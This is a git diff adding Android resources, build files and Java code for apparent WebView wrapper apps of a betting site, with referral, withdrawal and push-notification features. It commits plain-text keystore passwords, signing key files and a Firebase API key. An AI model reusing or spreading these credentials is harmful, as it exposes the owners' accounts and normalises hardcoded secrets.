a/rmcuci/src/main/res/drawable-hdpi/ic_action_back.png b/rmcuci/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/rmcuci/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/rmcuci/src/main/res/drawable-mdpi/ic_action_back.png b/rmcuci/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/rmcuci/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/rmcuci/src/main/res/drawable-v24/ic_launcher_foreground.xml b/rmcuci/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/rmcuci/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/rmcuci/src/main/res/drawable-xhdpi/ic_action_back.png b/rmcuci/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/rmcuci/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/rmcuci/src/main/res/drawable-xxhdpi/ic_action_back.png b/rmcuci/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/rmcuci/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/rmcuci/src/main/res/drawable/big_bg.xml b/rmcuci/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..3777004 --- /dev/null +++ b/rmcuci/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/rmcuci/src/main/res/drawable/ic_launcher_background.xml b/rmcuci/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/rmcuci/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/rmcuci/src/main/res/drawable/input_bg.xml b/rmcuci/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/rmcuci/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/rmcuci/src/main/res/drawable/pass_word_bg.xml b/rmcuci/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/rmcuci/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/rmcuci/src/main/res/drawable/pass_word_bg1.xml b/rmcuci/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/rmcuci/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/rmcuci/src/main/res/drawable/pass_word_bg2.xml b/rmcuci/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/rmcuci/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/rmcuci/src/main/res/drawable/shape_btn_bg.xml b/rmcuci/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/rmcuci/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/rmcuci/src/main/res/drawable/shape_dialog_bg2.xml b/rmcuci/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/rmcuci/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/rmcuci/src/main/res/drawable/shape_dialog_bg3.xml b/rmcuci/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/rmcuci/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/rmcuci/src/main/res/drawable/shape_dialog_bg_new.xml b/rmcuci/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/rmcuci/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/rmcuci/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/rmcuci/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/rmcuci/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/rmcuci/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/rmcuci/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/rmcuci/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/rmcuci/src/main/res/mipmap-hdpi/ic_empty.png b/rmcuci/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/rmcuci/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/rmcuci/src/main/res/mipmap-hdpi/ic_pull_down.png b/rmcuci/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/rmcuci/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/rmcuci/src/main/res/mipmap-xhdpi/ic_close.png b/rmcuci/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/rmcuci/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/rmcuci/src/main/res/mipmap-xhdpi/ic_menu.png b/rmcuci/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/rmcuci/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/rmcuci/src/main/res/mipmap-xxhdpi/app_logo.png b/rmcuci/src/main/res/mipmap-xxhdpi/app_logo.png new file mode 100644 index 0000000..dfeec7f Binary files /dev/null and b/rmcuci/src/main/res/mipmap-xxhdpi/app_logo.png differ diff --git a/rmcuci/src/main/res/values-en/strings.xml b/rmcuci/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..7a00b5e --- /dev/null +++ b/rmcuci/src/main/res/values-en/strings.xml @@ -0,0 +1,52 @@ + + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/rmcuci/src/main/res/values-night/themes.xml b/rmcuci/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..3b0f1a2 --- /dev/null +++ b/rmcuci/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/rmcuci/src/main/res/values/colors.xml b/rmcuci/src/main/res/values/colors.xml new file mode 100644 index 0000000..54cdcbb --- /dev/null +++ b/rmcuci/src/main/res/values/colors.xml @@ -0,0 +1,19 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #191919 + + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/rmcuci/src/main/res/values/strings.xml b/rmcuci/src/main/res/values/strings.xml new file mode 100644 index 0000000..6e6f2ac --- /dev/null +++ b/rmcuci/src/main/res/values/strings.xml @@ -0,0 +1,54 @@ + + RMcuci + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + \ No newline at end of file diff --git a/rmcuci/src/main/res/values/themes.xml b/rmcuci/src/main/res/values/themes.xml new file mode 100644 index 0000000..efa2168 --- /dev/null +++ b/rmcuci/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/rmcuci/src/main/res/xml/app_updater_paths.xml b/rmcuci/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/rmcuci/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/rmcuci/src/main/res/xml/network_security_config.xml b/rmcuci/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/rmcuci/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/rmcuci/src/main/res/xml/provider_paths.xml b/rmcuci/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/rmcuci/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/rmcuci/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/rmcuci/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/rmcuci/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/roarbet88/.gitignore b/roarbet88/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/roarbet88/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/roarbet88/build.gradle b/roarbet88/build.gradle new file mode 100644 index 0000000..3d24859 --- /dev/null +++ b/roarbet88/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.xyz.robet" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('justlet.jks') + storePassword "123456" + keyAlias 'key0' + keyPassword "123456" + } + release { + storeFile file('justlet.jks') + storePassword "123456" + keyAlias 'key0' + keyPassword "123456" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "roarbet88" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/roarbet88/dskjweb.jks b/roarbet88/dskjweb.jks new file mode 100644 index 0000000..a303350 Binary files /dev/null and b/roarbet88/dskjweb.jks differ diff --git a/roarbet88/google-services.json b/roarbet88/google-services.json new file mode 100644 index 0000000..207820f --- /dev/null +++ b/roarbet88/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "1026529554253", + "project_id": "roar88-8d8c0", + "storage_bucket": "roar88-8d8c0.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:1026529554253:android:e2554f79894066a002d104", + "android_client_info": { + "package_name": "com.xyz.robet" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyBzjiyMJ5fI638KD26mwDbJeI0YJCaP8Zk" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/roarbet88/justlet.jks b/roarbet88/justlet.jks new file mode 100644 index 0000000..a33b839 Binary files /dev/null and b/roarbet88/justlet.jks differ diff --git a/roarbet88/ppn.jks b/roarbet88/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/roarbet88/ppn.jks differ diff --git a/roarbet88/proguard-rules.pro b/roarbet88/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/roarbet88/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/roarbet88/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/roarbet88/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/roarbet88/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/roarbet88/src/main/AndroidManifest.xml b/roarbet88/src/main/AndroidManifest.xml new file mode 100644 index 0000000..773dae1 --- /dev/null +++ b/roarbet88/src/main/AndroidManifest.xml @@ -0,0 +1,112 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/roarbet88/src/main/java/com/xyz/robet/MainActivity.java b/roarbet88/src/main/java/com/xyz/robet/MainActivity.java new file mode 100644 index 0000000..32e9ea9 --- /dev/null +++ b/roarbet88/src/main/java/com/xyz/robet/MainActivity.java @@ -0,0 +1,63 @@ +package com.xyz.robet; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.graphics.Color; +import android.os.Bundle; + +import androidx.annotation.NonNull; + +import com.bumptech.glide.Glide; +import com.google.android.gms.tasks.OnCompleteListener; +import com.google.android.gms.tasks.Task; +import com.web.base.LogUtils; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 211; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://roarbet88.com/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#020202"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#030303"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",1); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色t + setBackDrawables(R.drawable.big_bg); + setImageView(false); + showTopV1.setImageResource(R.mipmap.app_logo1); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(new OnCompleteListener() { + @Override + public void onComplete(@NonNull Task task) { + String msg = "Subscribed"; + if (!task.isSuccessful()) { + msg = "Subscribe failed"; + } + LogUtils.i("结果:"+msg); + } + }); +// getWindow().getDecorView().setBackgroundResource(Color.parseColor("#01052a")); +// Glide.with(MainActivity.this).load(R.mipmap.load_img).into(showTopV1); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/roarbet88/src/main/java/com/xyz/robet/MyFirebaseMessageingService.java b/roarbet88/src/main/java/com/xyz/robet/MyFirebaseMessageingService.java new file mode 100644 index 0000000..b8cc22d --- /dev/null +++ b/roarbet88/src/main/java/com/xyz/robet/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.xyz.robet; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/roarbet88/src/main/java/com/xyz/robet/WebApplication.java b/roarbet88/src/main/java/com/xyz/robet/WebApplication.java new file mode 100644 index 0000000..88ee8f4 --- /dev/null +++ b/roarbet88/src/main/java/com/xyz/robet/WebApplication.java @@ -0,0 +1,35 @@ +package com.xyz.robet; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/roarbet88/src/main/res/drawable-anydpi/ic_action_back.xml b/roarbet88/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/roarbet88/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/roarbet88/src/main/res/drawable-hdpi/ic_action_back.png b/roarbet88/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/roarbet88/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/roarbet88/src/main/res/drawable-mdpi/ic_action_back.png b/roarbet88/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/roarbet88/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/roarbet88/src/main/res/drawable-v24/ic_launcher_foreground.xml b/roarbet88/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/roarbet88/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/roarbet88/src/main/res/drawable-xhdpi/ic_action_back.png b/roarbet88/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/roarbet88/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/roarbet88/src/main/res/drawable-xxhdpi/ic_action_back.png b/roarbet88/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/roarbet88/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/roarbet88/src/main/res/drawable/big_bg.xml b/roarbet88/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..917a9c9 --- /dev/null +++ b/roarbet88/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/roarbet88/src/main/res/drawable/ic_launcher_background.xml b/roarbet88/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/roarbet88/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/roarbet88/src/main/res/drawable/input_bg.xml b/roarbet88/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/roarbet88/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/roarbet88/src/main/res/drawable/pass_word_bg.xml b/roarbet88/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/roarbet88/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/roarbet88/src/main/res/drawable/pass_word_bg1.xml b/roarbet88/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/roarbet88/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/roarbet88/src/main/res/drawable/pass_word_bg2.xml b/roarbet88/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/roarbet88/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/roarbet88/src/main/res/drawable/shape_btn_bg.xml b/roarbet88/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/roarbet88/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/roarbet88/src/main/res/drawable/shape_dialog_bg2.xml b/roarbet88/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/roarbet88/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/roarbet88/src/main/res/drawable/shape_dialog_bg3.xml b/roarbet88/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/roarbet88/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/roarbet88/src/main/res/drawable/shape_dialog_bg_new.xml b/roarbet88/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/roarbet88/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/roarbet88/src/main/res/mipmap-anydpi-v26/ic_launcher.xml 